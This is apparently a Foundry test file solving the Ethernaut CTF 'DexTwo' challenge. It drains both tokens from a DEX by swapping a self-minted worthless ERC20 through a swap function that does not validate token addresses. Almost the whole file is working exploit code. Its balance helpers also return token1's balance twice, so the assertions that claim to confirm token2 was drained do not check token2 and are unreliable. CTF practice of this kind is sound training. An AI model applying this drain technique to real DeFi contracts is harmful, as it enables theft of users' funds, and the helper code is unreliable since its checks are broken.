DexTwoExploit.t.sol

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;

import '../../src/EthernautCTF/DexTwo.sol';
import '@openzeppelin-08/token/ERC20/ERC20.sol';
import '@openzeppelin-08/utils/math/Math.sol';
import '@forge-std/Test.sol';
import '@forge-std/console.sol';

contract HelperToken is ERC20 {
  constructor(uint256 _value) ERC20('TOKEN3', 'T3') {
    _mint(msg.sender, _value);
  }
}

contract DexTwoEploit is Test {
  DexTwo target;
  address deployer = makeAddr('deployer');
  address exploiter = makeAddr('exploiter');
  SwappableTokenTwo token1;
  SwappableTokenTwo token2;

  function setUp() public {
    vm.startPrank(deployer);
    target = new DexTwo();
    console.log('Dex contract deployed');

    token1 = new SwappableTokenTwo(address(target), 'TOKEN1', 'T1', 10_000);
    token2 = new SwappableTokenTwo(address(target), 'TOKEN2', 'T2', 10_000);
    target.setTokens(address(token1), address(token2));
    console.log('Tokens deployed and set in the Dex');

    target.approve(address(target), 100);
    target.addLiquidity(address(token1), 100);
    target.addLiquidity(address(token2), 100);
    console.log('Liquidity added to the Dex contract');

    token1.transfer(address(exploiter), 10);
    token2.transfer(address(exploiter), 10);
    console.log('Tokens sent to the exploiter');
    vm.stopPrank();
  }

  function testExploit() public {
    // Balance check.
    (uint256 dexToken1Balance, uint256 dexToken2Balance) = getDexBalances();
    assertEq(dexToken1Balance, 100);
    assertEq(dexToken2Balance, 100);

    // Perform the exploit.
    // The goal is to drain the two tokens of the Dex contract.
    // The method `swap` has been slightly changed compared to the previous version.
    // It doesn't check which tokens are passed to the swap method.

    // Deploy our own ERC20 helper token.
    vm.startPrank(exploiter);
    ERC20 helperToken = new HelperToken(200);
    helperToken.approve(address(target), 10);
    console.log('Helper token deployed');

    helperToken.transfer(address(target), 1);
    // swapAmount = 1 * 100 / 1 = 100 with amount = 1
    target.swap(address(helperToken), address(token1), 1);
    console.log(''); // break line
    console.log('Token1 drained');
    getDexBalances();
    getExploiterBalances();

    // swapAmount = 2 * 100 / 2 = 100 with amount = 2
    target.swap(address(helperToken), address(token2), 2);
    console.log(''); // break line
    console.log('Token2 drained');
    getDexBalances();
    getExploiterBalances();

    // Check that the exploit worked.
    console.log(''); // break line
    (dexToken1Balance, dexToken2Balance) = getDexBalances();
    assertEq(dexToken1Balance, 0);
    assertEq(dexToken2Balance, 0);
    console.log('The two tokens were drained in the Dex contract');
    getExploiterBalances();

    vm.stopPrank();
  }

  function getDexBalances() public view returns (uint256, uint256) {
    (uint256 token1Balance, uint256 token2Balance) = getBalances(
      address(target)
    );
    console.log(
      'Checking Dex balances: TOKEN1=%d TOKEN2=%d',
      token1Balance,
      token2Balance
    );
    return (token1Balance, token1Balance);
  }

  function getExploiterBalances() public view returns (uint256, uint256) {
    (uint256 token1Balance, uint256 token2Balance) = getBalances(exploiter);
    console.log(
      'Checking exploiter balances: TOKEN1=%d TOKEN2=%d',
      token1Balance,
      token2Balance
    );
    return (token1Balance, token1Balance);
  }

  function getBalances(
    address _address
  ) public view returns (uint256, uint256) {
    uint256 token1Balance = token1.balanceOf(_address);
    uint256 token2Balance = token2.balanceOf(_address);
    return (token1Balance, token2Balance);
  }
}